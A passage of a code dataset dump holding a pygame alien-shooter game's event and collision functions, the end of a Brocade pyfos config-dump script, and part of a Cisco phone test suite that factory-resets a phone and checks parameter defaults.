pyfos_auth.logout(session)\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1:])\n", "sub_path": "pyfos/utils/config/switch_config_dump.py", "file_name": "switch_config_dump.py", "file_ext": "py", "file_size_in_byte": 4399, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pyfos.pyfos_auth.vfid_set", "line_number": 66, "usage_type": "call"}, {"api_name": "pyfos.pyfos_auth", "line_number": 66, "usage_type": "name"}, {"api_name": "os.stat", "line_number": 75, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 77, "usage_type": "call"}, {"api_name": "openpyxl.Workbook", "line_number": 79, "usage_type": "call"}, {"api_name": "switch_config_obj.objects_to_process", "line_number": 81, "usage_type": "attribute"}, {"api_name": "switch_config_util.dump_object_in_json", "line_number": 84, "usage_type": "call"}, {"api_name": "switch_config_util.write_simple_object", "line_number": 89, "usage_type": "attribute"}, {"api_name": "pyfos.utils.brcd_util.generic_input", "line_number": 103, "usage_type": "call"}, {"api_name": "pyfos.utils.brcd_util", "line_number": 103, "usage_type": "name"}, {"api_name": "pyfos.pyfos_auth.login", "line_number": 105, "usage_type": "call"}, {"api_name": "pyfos.pyfos_auth", "line_number": 105, "usage_type": "name"}, {"api_name": "pyfos.pyfos_auth.is_failed_login", "line_number": 108, "usage_type": "call"}, {"api_name": "pyfos.pyfos_auth", "line_number": 108, "usage_type": "name"}, {"api_name": "pyfos.pyfos_auth.CREDENTIAL_KEY", "line_number": 110, "usage_type": "attribute"}, {"api_name": "pyfos.pyfos_auth", "line_number": 110, "usage_type": "name"}, {"api_name": "pyfos.pyfos_auth.LOGIN_ERROR_KEY", "line_number": 111, "usage_type": "attribute"}, {"api_name": "pyfos.pyfos_auth", "line_number": 111, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 113, "usage_type": "call"}, {"api_name": "pyfos.utils.brcd_util.exit_register", "line_number": 115, "usage_type": "call"}, {"api_name": "pyfos.utils.brcd_util", "line_number": 115, "usage_type": "name"}, {"api_name": "pyfos.pyfos_auth.vfid_set", "line_number": 122, "usage_type": "call"}, {"api_name": "pyfos.pyfos_auth", "line_number": 122, "usage_type": "name"}, {"api_name": "switch_config_util.get_envelope_name", "line_number": 136, "usage_type": "call"}, {"api_name": "pyfos.manager.pyfos_config_manager.config_manager", "line_number": 138, "usage_type": "call"}, {"api_name": "pyfos.pyfos_auth.logout", "line_number": 142, "usage_type": "call"}, {"api_name": "pyfos.pyfos_auth", "line_number": 142, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 146, "usage_type": "attribute"}]}
+{"seq_id": "348183975", "text": "#coding: gbk\r\nimport sys\r\nimport pygame\r\nfrom bullet import Bullet\r\nfrom alien import Alien\r\nfrom time import sleep\r\n\r\ndef check_keydown_events(event,ai_setting,screen,ship,bullets):\r\n\t#右键监听\r\n\tif event.key == pygame.K_RIGHT:\r\n\t\tship.moving_right = True\r\n\t#左键监听\r\n\telif event.key == pygame.K_LEFT:\r\n\t\tship.moving_left = True\r\n\t#空格监听\r\n\telif event.key == pygame.K_SPACE:\r\n\t\tfire_bullet(ai_setting,screen,ship,bullets)\r\n\telif event.key == pygame.K_ESCAPE:\r\n\t\tsys.exit()\r\n\t\t\r\ndef check_keyup_events(event,ship):\r\n\t#右键监听\t\r\n\tif event.key == pygame.K_RIGHT:\r\n\t\tship.moving_right = False\r\n\t#左键监听\r\n\telif event.key == pygame.K_LEFT:\r\n\t\tship.moving_left = False\r\n\r\ndef check_events(ai_setting,screen,stats,sb,play_button,ship,aliens,bullets):\r\n\t\"\"\"响应事件\"\"\"\r\n\tfor event in pygame.event.get():\r\n\t\t#退出监听\r\n\t\tif event.type == pygame.QUIT:\r\n\t\t\tsys.exit()\r\n\t\t#按下\r\n\t\telif event.type == pygame.KEYDOWN:\r\n\t\t\tcheck_keydown_events(event,ai_setting,screen,ship,bullets)\r\n\t\t#松开\r\n\t\telif event.type == pygame.KEYUP:\r\n\t\t\tcheck_keyup_events(event,ship)\r\n\t\t#鼠标点击事件\r\n\t\telif event.type == pygame.MOUSEBUTTONDOWN:\r\n\t\t\tmouse_x,mouse_y = pygame.mouse.get_pos()\r\n\t\t\tcheck_play_button(ai_setting,screen,stats,sb,play_button,ship,aliens,bullets,mouse_x,mouse_y)\r\n\t\t\t\r\n\t\t\t\r\ndef check_play_button(ai_setting,screen,stats,sb,play_button,ship,aliens,bullets,mouse_x,mouse_y):\r\n\t\"\"\"在玩家点击Play按钮时开始新游戏\"\"\"\r\n\tbutton_clicked = play_button.rect.collidepoint(mouse_x,mouse_y)\r\n\tif button_clicked and not stats.game_active:\r\n\t\t#重置游戏设置\r\n\t\tai_setting.initialize_dynamic_setting()\r\n\t\t#隐藏光标\r\n\t\tpygame.mouse.set_visible(False)\r\n\t\t#重置游戏统计信息\r\n\t\tstats.reset_stats()\r\n\t\tstats.game_active = True\r\n\t\t\r\n\t\t#重置记分牌图像\r\n\t\tsb.prep_score()\r\n\t\tsb.prep_high_score()\r\n\t\tsb.prep_level()\r\n\t\tsb.prep_ships()\r\n\t\t\r\n\t\t#清空外星人和子弹列表\r\n\t\taliens.empty()\r\n\t\tbullets.empty()\r\n\t\t\r\n\t\t#创建一群新的外星人 并将飞船放到屏幕底部中央\r\n\t\tcreate_fleet(ai_setting,screen,ship,aliens)\r\n\t\tship.center_ship()\r\n\t\t\t\r\ndef update_screen(ai_setting,screen,stats,sb,ship,aliens,bullets,play_button):\r\n\t\"\"\"更新屏幕的图像\"\"\"\r\n\t#每次循环都重绘屏幕\r\n\tscreen.fill(ai_setting.bg_color)\r\n\tship.blitme()\r\n\taliens.draw(screen)\r\n\t#绘制所有子弹\r\n\tfor bullet in bullets.sprites():\r\n\t\tbullet.draw_bullet()\r\n\t\t\r\n\t#显示得分\r\n\tsb.show_score()\r\n\t\r\n\t#如果游戏处于非活动状态 就绘制\r\n\tif not stats.game_active:\r\n\t\tplay_button.draw_button()\r\n\t\r\n\t#让最近绘制屏幕可见\r\n\tpygame.display.flip()\r\n\r\ndef update_bullet(ai_setting,screen,stats,sb,ship,aliens,bullets):\r\n\t\"\"\"更新子弹位置 并删除消失的子弹\"\"\"\r\n\tbullets.update()\r\n\t#删除已经消失的子弹\r\n\tfor bullet in bullets.copy():\r\n\t\tif bullet.rect.bottom <= 0:\r\n\t\t\tbullets.remove(bullet)\r\n\tcheck_bullet_alien_collections(ai_setting,screen,stats,sb,ship,aliens,bullets)\r\n\t\r\n\t\t\r\ndef check_bullet_alien_collections(ai_setting,screen,stats,sb,ship,aliens,bullets):\r\n\t\"\"\"响应子弹与外星人的碰撞\"\"\"\r\n\t#检查是否有子弹击中外星人\r\n\t#如果是这样 就删除对应的外星人\r\n\tcollections = pygame.sprite.groupcollide(bullets,aliens,True,True)\r\n\t\r\n\tif collections:\r\n\t\tfor aliens in collections.values():\r\n\t\t\tstats.score += ai_setting.alien_points * len(aliens)\r\n\t\t\tsb.prep_score()\r\n\t\tcheck_high_score(stats,sb)\r\n\t\r\n\tif len(aliens) == 0:\r\n\t\t#删除现有的子弹 加快游戏的节奏 并新建一群外星人\r\n\t\tbullets.empty()\r\n\t\tai_setting.increase_speed()\r\n\t\t\r\n\t\t#提高等级\r\n\t\tstats.level += 1\r\n\t\tsb.prep_level()\r\n\t\tcreate_fleet(ai_setting,screen,ship,aliens)\r\n\t\r\n\t\t\t\r\ndef fire_bullet(ai_setting,screen,ship,bullets):\r\n\t\"\"\"在限定条件下发射子弹 加入bullets组中\"\"\"\r\n\tif len(bullets) < ai_setting.bullets_allowed:\r\n\t\tnew_bullet = Bullet(ai_setting,screen,ship)\r\n\t\tbullets.add(new_bullet)\r\n\t\t\r\ndef get_number_aliens_x(ai_setting,alien_width):\r\n\t\"\"\"并计算一行可容纳多少外星人\"\"\"\r\n\tavailable_space_x = ai_setting.screen_width-(2*alien_width) \r\n\tnumbet_aliens_x = int(available_space_x/(2*alien_width))\r\n\treturn numbet_aliens_x\r\n\t\r\ndef get_number_rows(ai_setting,ship_height,alien_height):\r\n\t\"\"\"计算屏幕可容纳多少行外星人\"\"\"\r\n\tavailable_space_y = (ai_setting.screen_height - (3*alien_height) - ship_height)\r\n\tnumber_rows = int(available_space_y/(2*alien_height))\r\n\treturn number_rows\r\n\t\r\ndef create_alien(ai_setting,screen,aliens,alien_number,row_number):\r\n\t#创建一个外星人 并加入当前行\r\n\talien  =Alien(ai_setting,screen)\r\n\talien_width = alien.rect.width\r\n\talien.x = alien_width + alien_number*(2*alien_width)\r\n\talien.rect.x = alien.x\r\n\talien.rect.y = alien.rect.height + 2*alien.rect.height*row_number\r\n\taliens.add(alien)\r\n\r\n\t\t\r\ndef create_fleet(ai_setting,screen,ship,aliens):\r\n\t\"\"\"创建外星人群\"\"\"\r\n\t#创建一个外星人 并计算一行可容纳多少外星人\r\n\t#外星人间距为外星人宽度\r\n\talien = Alien(ai_setting,screen)\r\n\tnumber_aliens_x = get_number_aliens_x(ai_setting,alien.rect.width)\r\n\tnumber_rows = get_number_rows(ai_setting,ship.rect.height,alien.rect.height)\r\n\r\n\t#创建外星人群\r\n\tfor row_number in range(number_rows):\r\n\t\tfor alien_number in range(number_aliens_x):\r\n\t\t\t#创建一个外星人 并加入当前行\r\n\t\t\tcreate_alien(ai_setting,screen,aliens,alien_number,row_number)\r\n\r\ndef check_fleet_edges(ai_setting,aliens):\r\n\t\"\"\"有外星人到达边缘采取的措施\"\"\"\r\n\tfor alien in aliens.sprites():\r\n\t\tif alien.check_edges():\r\n\t\t\tchange_fleet_direction(ai_setting,aliens)\r\n\t\t\tbreak\r\n\r\ndef change_fleet_direction(ai_setting,aliens):\r\n\t\"\"\"将整群外星人下移 并改变方向\"\"\"\r\n\tfor alien in aliens.sprites():\r\n\t\talien.rect.y += ai_setting.fleet_drop_speed\r\n\tai_setting.fleet_direction *= -1\r\n\r\ndef ship_hit(ai_setting,screen,stats,sb,ship,aliens,bullets):\r\n\t\"\"\"响应被外星人撞到的飞船\"\"\"\r\n\t\r\n\tif stats.ships_left > 0:\r\n\t\t#将ships_left减一\r\n\t\tstats.ships_left -= 1\r\n\t\t\r\n\t\t#更新剩余生命数\r\n\t\tsb.prep_ships()\r\n\t\r\n\t\t#清空外星人和子弹列表\r\n\t\taliens.empty()\r\n\t\tbullets.empty()\r\n\t\t\r\n\t\t#创建一群新的外星人 并将飞船放到屏幕底部中央\r\n\t\tcreate_fleet(ai_setting,screen,ship,aliens)\r\n\t\tship.center_ship()\r\n\t\t\r\n\t\t#暂停\r\n\t\tsleep(0.5)\r\n\telse:\r\n\t\tstats.game_active = False\r\n\t\tpygame.mouse.set_visible(True)\r\n\t\r\n\t\r\ndef check_aliens_bottom(ai_setting,screen,stats,sb,ship,aliens,bullets):\r\n\t\"\"\"检查是否有外星人到达屏幕底部\"\"\"\r\n\tscreen_rect = screen.get_rect()\r\n\tfor alien in aliens.sprites():\r\n\t\tif alien.rect.bottom >= screen_rect.bottom:\r\n\t\t\t#像飞船被撞到一样处理\r\n\t\t\tship_hit(ai_setting,screen,stats,sb,ship,aliens,bullets)\r\n\t\t\tbreak\r\n\r\ndef update_aliens(ai_setting,screen,stats,sb,ship,aliens,bullets):\r\n\t\"\"\"检查是否有外星人到达屏幕边缘 更新外星人位置\"\"\"\r\n\tcheck_fleet_edges(ai_setting,aliens)\r\n\taliens.update()\r\n\t#检测外星人与飞船之间的碰撞\r\n\tif pygame.sprite.spritecollideany(ship,aliens):\r\n\t\tship_hit(ai_setting,screen,stats,sb,ship,aliens,bullets)\r\n\t#检查是否有外星人到达屏幕底部\r\n\tcheck_aliens_bottom(ai_setting,screen,stats,sb,ship,aliens,bullets)\r\n\t\r\ndef check_high_score(stats,sb):\r\n\t\t\"\"\"检查是否诞生了新的最高得分\"\"\"\r\n\t\tif stats.score > stats.high_score:\r\n\t\t\tstats.high_score = stats.score\r\n\t\t\twith open(\"high.txt\",\"w\") as file_object:\r\n\t\t\t\tfile_object.write(str(stats.high_score))\r\n\t\t\tsb.prep_high_score()\r\n", "sub_path": "game_function.py", "file_name": "game_function.py", "file_ext": "py", "file_size_in_byte": 7431, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pygame.K_RIGHT", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.K_ESCAPE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.K_RIGHT", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 31, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pygame.MOUSEBUTTONDOWN", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.mouse.get_pos", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 43, "usage_type": "attribute"}, {"api_name": "pygame.mouse.set_visible", "line_number": 54, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 54, "usage_type": "attribute"}, {"api_name": "bullet.draw_bullet", "line_number": 81, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 91, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 91, "usage_type": "attribute"}, {"api_name": "bullet.rect", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pygame.sprite.groupcollide", "line_number": 107, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 107, "usage_type": "attribute"}, {"api_name": "bullet.Bullet", "line_number": 129, "usage_type": "call"}, {"api_name": "alien.Alien", "line_number": 146, "usage_type": "call"}, {"api_name": "alien.rect", "line_number": 147, "usage_type": "attribute"}, {"api_name": "alien.x", "line_number": 148, "usage_type": "attribute"}, {"api_name": "alien.rect", "line_number": 149, "usage_type": "attribute"}, {"api_name": "alien.x", "line_number": 149, "usage_type": "attribute"}, {"api_name": "alien.rect", "line_number": 150, "usage_type": "attribute"}, {"api_name": "alien.Alien", "line_number": 158, "usage_type": "call"}, {"api_name": "alien.rect", "line_number": 159, "usage_type": "attribute"}, {"api_name": "alien.rect", "line_number": 160, "usage_type": "attribute"}, {"api_name": "alien.check_edges", "line_number": 171, "usage_type": "call"}, {"api_name": "alien.rect", "line_number": 178, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 200, "usage_type": "call"}, {"api_name": "pygame.mouse.set_visible", "line_number": 203, "usage_type": "call"}, {"api_name": "pygame.mouse", "line_number": 203, "usage_type": "attribute"}, {"api_name": "alien.rect", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollideany", "line_number": 220, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 220, "usage_type": "attribute"}]}
+{"seq_id": "624095001", "text": "#!/usr/bin/python\n\"\"\"\nScript Header\n\n$Id: cmPROV_3pcc_default_value_check.py\n\nCopyright (c) 2018 Cisco Systems, Inc.\n\nReferences:\n    Tph10424920c\n    Tph10141049c\n    Tph10141017c\n    Tph10312251c\n    Tph10312254c\n    Tph10109143c\n    Tph10213619c\n    Tph10140234c\n    Tph10140295c\n    Tph10122291c\n    Tph10133873c\n    Tph10133711c\n    Tph10133769c\n    Tph10133908c\n    Tph10120772c\n    Tph10504047c\n    Tph10108737c\n    Tph10085044c\n\nTest Cases:\n    test0101_Block_Nonproxy_SIP_default_value\n    test0102_custom_ca_default_value\n    test0103_default_conference_service\n    test0104_default_call_appearance_per_line\n    test0105_default_broadsoft_acd_settings\n    test0106_default_dnd_settings\n    test0107_default_call_forwarding_settings\n    test0108_default_uri_dialing_setting\n    test0109_default_call_park_setting\n    test0110_default_block_cid_anc\n    test0111_default_call_waiting_settings\n    test0112_default_call_pickup_settings\n    test0113_default_secure_call_settings\n    test0114_default_network_call_log_settings\n    test0115_default_resync_timer\n    test0116_default_upgrade_parameter_settings\n\nTopology:\n    1 3PCC Phone\n\nNotes:\n    This script is used for all phone parameters default\n    value check after factory reset in feature testing\n\nKnown Bugs:\n\n\"\"\"\n\nimport tng\nimport logging\nfrom tng.base_errors import TngError\nfrom tng_sl.contrib.setup_helper import SetupHelpersTestCase\nfrom tng_sl.contrib.mpp.phone_config_helper import PhoneConfigHelper\nfrom tng_sl.plugins.synergylite_3pcc_ui import SynergyLite3pccUiHelper as \\\n    UiHelper\n\nlog = logging.getLogger('DefaultValueCheck')\n\n\nclass DefaultValueCheckTestCase(SetupHelpersTestCase, tng.api.TestCase):\n    helpers = (PhoneConfigHelper,)\n\n    @classmethod\n    def setUpClass(cls):\n        log.info(\"Start of setUpClass\")\n        cls.total_lines = cls.oPhone1.get_phone_line_total_number()\n        cls.all_lines = range(1, cls.total_lines + 1)\n        cls.Log_Upgrade_Request_Msg = (\n            '$PN $MAC -- Requesting upgrade $SCHEME://$SERVIP:$PORT$PATH')\n        cls.Log_Upgrade_Success_Msg = ('$PN $MAC -- Successful upgrade ') + (\n            '$SCHEME://$SERVIP:$PORT$PATH -- $ERR')\n        cls.Log_Upgrade_Failure_Msg = '$PN $MAC -- Upgrade failed: $ERR'\n\n        # If some default values are to be checked, put them in the dict below.\n        cls.default_values = {\n            'block_nonproxy': {\n                'Block Nonproxy SIP': '0'\n            },\n            'custom_ca': {\n                'Custom CA Rule': '',\n                'Custom CA Provisioning Status': '',\n                'Custom CA Info': ''\n            },\n            'conference': {\n                'Conference Serv': '1'\n            },\n            'call_appearance': {\n                'Call Appearances Per Line': '2'\n            },\n            'broadsoft_acd': {\n                'Broadsoft ACD[{}]'.format(line): '0' for line in\n                cls.all_lines\n            },\n            'dnd': {\n                'DND Setting': '0',\n                'DND Act Code': '*78',\n                'DND Deact Code': '*79'\n            },\n            'call_forwarding': {\n                'Cfwd Setting': '1',\n                'Cfwd All Dest': '',\n                'Cfwd Busy Dest': '',\n                'Cfwd No Ans Dest': '',\n                'Cfwd All Act Code': '*72',\n                'Cfwd All Deact Code': '*73',\n                'Cfwd Busy Act Code': '*90',\n                'Cfwd Busy Deact Code': '*91',\n                'Cfwd No Ans Act Code': '*92',\n                'Cfwd No Ans Deact Code': '*93',\n                'Cfwd All Serv': '1',\n                'Cfwd Busy Serv': '1',\n                'Cfwd No Ans Serv': '1'\n            },\n            'uri_dialing': {\n                'Enable URI Dialing[{}]'.format(line): '0' for line in\n                cls.all_lines\n            },\n            'call_park': {\n                'Call Park Serv': '1'\n            },\n            'block_cid_anc': {\n                'Block CID Serv': '1',\n                'Block ANC Serv': '1',\n                'Block CID Setting': '0',\n                'Block ANC Setting': '0',\n                'Block CID Act Code': '*61',\n                'Block CID Deact Code': '*62',\n                'Block CID Per Call Act Code': '*81',\n                'Block CID Per Call Deact Code': '*82',\n                'Block ANC Act Code': '*77',\n                'Block ANC Deact Code': '*87'\n            },\n            'call_waiting': {\n                'CW Setting': '1',\n                'CW Act Code': '*56',\n                'CW Deact Code': '*57',\n                'CW Per Call Act Code': '*71',\n                'CW Per Call Deact Code': '*70'\n            },\n            'call_pickup': {\n                'Call Pick Up Serv': '1',\n                'Group Call Pick Up Serv': '1',\n                'Call Pickup Code': '*97',\n                'Group Call Pickup Code': '*98'\n            },\n            'secure_call': {\n                'Secure Call Serv': '1',\n                'Secure Call Setting': '0',\n                'Secure All Call Act Code': '*16',\n                'Secure No Call Act Code': '*17',\n                'Secure One Call Act Code': '*18',\n                'Secure One Call Deact Code': '*19'\n            },\n            'network_call_log': {\n                'CallLog Enable': '0',\n                'CallLog Associated Line': '1',\n                'Display Recents From': 'Phone'\n            },\n            'resync_timer': {\n                'Resync Random Delay': '2',\n                'Resync At (HHmm)': '',\n                'Resync At Random Delay': '600',\n                'Resync Periodic': '3600',\n                'Resync Error Retry Delay': '3600',\n                'Forced Resync Delay': '14400'\n            },\n            'Firmware_Upgrade': {\n                'Upgrade Enable': '1',\n                'Upgrade Error Retry Delay': '3600',\n                'Upgrade Rule': '',\n                'Log Upgrade Request Msg': cls.Log_Upgrade_Request_Msg,\n                'Log Upgrade Success Msg': cls.Log_Upgrade_Success_Msg,\n                'Log Upgrade Failure Msg': cls.Log_Upgrade_Failure_Msg\n            }\n        }\n        cls.default_values['secure_call'].update({\n            'Encryption Method[{}]'.format(line): 'AES 128' for line in\n            cls.all_lines})\n\n        # If some values are to be changed before factory-reset, put them in\n        #  the dict below.\n        web_param_values_new = {\n            # Conference\n            'p1': ['Phone', 'Conference Serv', '0'],\n            # Call Appearance\n            'p2': ['Phone', 'Call Appearances Per Line', '4'],\n            # DND\n            'p3': ['User', 'DND Setting', '1'],\n            'p4': ['Regional', 'DND Act Code', '*10'],\n            'p5': ['Regional', 'DND Deact Code', '*11'],\n            # Call Forwarding\n            'p6': ['User', 'Cfwd Setting', '0'],\n            'p7': ['User', 'Cfwd All Dest', '1111'],\n            'p8': ['User', 'Cfwd Busy Dest', '2222'],\n            'p9': ['User', 'Cfwd No Ans Dest', '3333'],\n            'p10': ['User', 'Cfwd No Ans Delay', '10'],\n            'p11': ['Regional', 'Cfwd All Act Code', '*12'],\n            'p12': ['Regional', 'Cfwd All Deact Code', '*13'],\n            'p13': ['Regional', 'Cfwd Busy Act Code', '*14'],\n            'p14': ['Regional', 'Cfwd Busy Deact Code', '*15'],\n            'p15': ['Regional', 'Cfwd No Ans Act Code', '*16'],\n            'p16': ['Regional', 'Cfwd No Ans Deact Code', '*17'],\n            'P17': ['Phone', 'Cfwd All Serv', '0'],\n            'P18': ['Phone', 'Cfwd Busy Serv', '0'],\n            'P19': ['Phone', 'Cfwd No Ans Serv', '0'],\n            # Call Park\n            'p20': ['Phone', 'Call Park Serv', '0'],\n            # Block CID and Block ANC\n            'p21': ['Phone', 'Block CID Serv', '0'],\n            'p22': ['Phone', 'Block ANC Serv', '0'],\n            'p23': ['User', 'Block CID Setting', '1'],\n            'p24': ['User', 'Block ANC Setting', '1'],\n            'p25': ['Regional', 'Block CID Act Code', '*18'],\n            'p26': ['Regional', 'Block CID Deact Code', '*19'],\n            'p27': ['Regional', 'Block CID Per Call Act Code', '*20'],\n            'p28': ['Regional', 'Block CID Per Call Deact Code', '*21'],\n            'p29': ['Regional', 'Block ANC Act Code', '*22'],\n            'p30': ['Regional', 'Block ANC Deact Code', '*23'],\n            # Call Waiting\n            'p31': ['User', 'CW Setting', '0'],\n            'p32': ['Regional', 'CW Act Code', '*24'],\n            'p33': ['Regional', 'CW Deact Code', '*25'],\n            'p34': ['Regional', 'CW Per Call Act Code', '*26'],\n            'p35': ['Regional', 'CW Per Call Deact Code', '*27'],\n            # Call Pickup\n            'p36': ['Phone', 'Call Pick Up Serv', '0'],\n            'p37': ['Phone', 'Group Call Pick Up Serv', '0'],\n            'p38': ['Regional', 'Call Pickup Code', '*28'],\n            'p39': ['Regional', 'Group Call Pickup Code', '*29'],\n            # Secure Call\n            'p40': ['Phone', 'Secure Call Serv', '0'],\n            'p41': ['User', 'Secure Call Setting', '1'],\n            'p42': ['Regional', 'Secure All Call Act Code', '*30'],\n            'p43': ['Regional', 'Secure No Call Act Code', '*31'],\n            'p44': ['Regional', 'Secure One Call Act Code', '*32'],\n            'p45': ['Regional', 'Secure One Call Deact Code', '*33'],\n            # Block Nonproxy SIP\n            'p46': ['System', 'Block Nonproxy SIP', '1'],\n            # Custom CA\n            # The DUT fails to download the custom CA, then it updates\n            # 'Custom CA Provisioning Status' and 'Custom CA Info'.\n            'p47': [\n                'Provisioning', 'Custom CA Rule',\n                'http://localhost:8888/custom_ca.pem'],\n            # Network Call Log\n            'p48': ['Phone', 'CallLog Enable', '1'],\n            'p49': ['Phone', 'CallLog Associated Line', '2'],\n            'p50': ['Phone', 'Display Recents From', 'Server'],\n            # Resync timer\n            'p51': ['Provisioning', 'Resync Random Delay', '5'],\n            'p52': ['Provisioning', 'Resync At (HHmm)', '2000'],\n            'p53': ['Provisioning', 'Resync At Random Delay', '750'],\n            'p54': ['Provisioning', 'Resync Periodic', '150'],\n            'p55': ['Provisioning', 'Resync Error Retry Delay', '200'],\n            'p56': ['Provisioning', 'Forced Resync Delay', '800'],\n            # upgrade parameter settings\n            'p57': ['Provisioning', 'Upgrade Enable', '0'],\n            'p58': ['Provisioning', 'Upgrade Error Retry Delay', '10'],\n            'p59': ['Provisioning', 'Upgrade Rule', 'http://ip/test.loads'],\n            'p60': ['Provisioning', 'Log Upgrade Request Msg', 'test1'],\n            'p61': ['Provisioning', 'Log Upgrade Success Msg', 'test2'],\n            'p62': ['Provisioning', 'Log Upgrade Failure Msg', 'test3'],\n        }\n\n        # Broadsoft ACD\n        broadsoft_acd_values_new = {\n            'acd_{}'.format(line): ['Ext {}'.format(\n                line), 'Broadsoft ACD', '1'] for line in cls.all_lines}\n\n        # URI Dialing\n        uri_dialing_param_values_new = {\n            'uri_dialing_{}'.format(line): ['Ext {}'.format(\n                line), 'Enable URI Dialing', '1'] for line in cls.all_lines}\n\n        # Secure Call Encryption Method\n        encrypt_mothods_new = {\n            'secure_method_{}'.format(line): ['Ext {}'.format(\n                line), 'Encryption Method', 'AES 256 GCM'] for line in\n            cls.all_lines}\n\n        web_param_values_new.update(broadsoft_acd_values_new)\n        web_param_values_new.update(uri_dialing_param_values_new)\n        web_param_values_new.update(encrypt_mothods_new)\n\n        log.info(\n            \"Set call feature parameter values different from default values\")\n        # ui.set_param_value() won't make all new values take effect.\n        cls.oPhone1.ui.set_web_parameter_http(**web_param_values_new)\n\n        # Press softkey 'Skip' to close the password setting window after\n        # all tests.\n        # If the password setting window is not there, press softkey 1 anyway.\n        cls.addCleanupClass(cls.oPhone1.ccapi.pressKey, UiHelper.PK_SK1)\n        cls.addCleanupClass(cls.oPhone1.handle_startup)\n\n        log.info(\"Invoke direct factory reset\")\n        cls.oPhone1.handle_shutdown()\n        web_return = cls.oPhone1.http.get('/admin/direct-factory-reset')\n\n        log.info(\"Enable CCAPI\")\n        cls.oPhone1.ui.check_automation_ready()\n\n        if 'Phone will be factory reset and reboot.' not in web_return:\n            raise TngError(\"Unable the perform direct factory reset\")\n\n        log.info('End of setUpClass')\n\n    def check_defult_values(self, value_dict):\n        for param in value_dict:\n            self.assertEqual(\n                value_dict[param],\n                self.oPhone1.ui.get_param_value(param))\n\n    # ======== Group System Default Value Check ========\n    # TIMS ID: Tph10424920c\n    # Author: Jingming Xu (jingmxu@cisco.com)\n    # Test Steps:\n    #\n    #  1. Factory reset UUT\n    #  2. Check \"Block Nonproxy SIP\" value\n    #\n    # Verify:\n    #  \"Block Nonproxy SIP\" default value should be No\n    #\n    # Topology:\n    # 1. 1 phone\n\n    def test0101_Block_Nonproxy_SIP_default_value(self):\n        self.check_defult_values(self.default_values['block_nonproxy'])\n    # ======== Group System Default Value Check End========\n\n    # ======== Group Provisioning Default Value Check ========\n    # TIMS ID: Tph10141049c, Tph10141017c\n    # Author: Huiguo Jin (huigjin@cisco.com)\n    # Test Steps:\n    #\n    #  1. Factory reset UUT\n    #  2. Check \"Custom CA Provisioning Status\" value\n    #     and check \"Custom CA Info\"\n    #\n    # Verify:\n    #  \"Custom CA Provisioning Status\" is empty\n    #  \"Custom CA Info\" is \"Not Installed\"\n    #\n    # Topology:\n    # 1. 1 phone\n    def test0102_custom_ca_default_value(self):\n        self.check_defult_values(self.default_values['custom_ca'])\n    # ======== Group Provisioning Default Value Check End ========\n\n    # ======== Group Call Feature Default Value Check ========\n    # TIMS ID: Tph10312251c, Tph10312254c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps for Tph10312251c\n    #\n    # Setup:\n    # ====\n    # DUT is a available to test and registered to Server. (The DUT is\n    # unregistered in this automated test.)\n    #\n    # Procedure:\n    # =======\n    # 1.Open the phone web gui in browser.\n    # Click on Admin login>advanced.\n    # 3.Go to Voice>Phone>Supplementary Services>Conference Serv.\n    # Check the default value of Conference Serv.\n    #\n    # Expected Results:\n    # =============\n    # Default value of Conference Serv should be \"Yes\"\n    #\n    # Description and Test Steps for Tph10312254c\n    #\n    # Setup:\n    # ====\n    # DUT is available to test and registered to Server. (The DUT is\n    # unregistered in this automated test.)\n    #\n    # Procedure:\n    # =======\n    # 1.Factory reset the DUT.\n    # 2.Open the phone web gui after phone comes up.\n    # 3.Click on Admin login>advanced.\n    # 4.Go to Voice>Phone>Supplementary Services>Conference Serv.\n    # Check the value of Conference Serv.\n    #\n    # Expected Results:\n    # =============\n    # Conference Serv parameter value should be \"Yes\"\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0103_default_conference_service(self):\n        self.check_defult_values(self.default_values['conference'])\n\n    # TIMS ID: Tph10109143c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1. Factory reset phone\n    # 2. Check Call Appearances Per Line value on phone Web GUI\n    # Expected Results\n    # 1: Call Appearances Per Line value is 2\n    # 2: No Line x Call x status will be displayed on WEB GUI\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0104_default_call_appearance_per_line(self):\n        self.check_defult_values(self.default_values['call_appearance'])\n\n    # TIMS ID: Tph10213619c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1. Factory reset phone\n    # 2. Check ACD 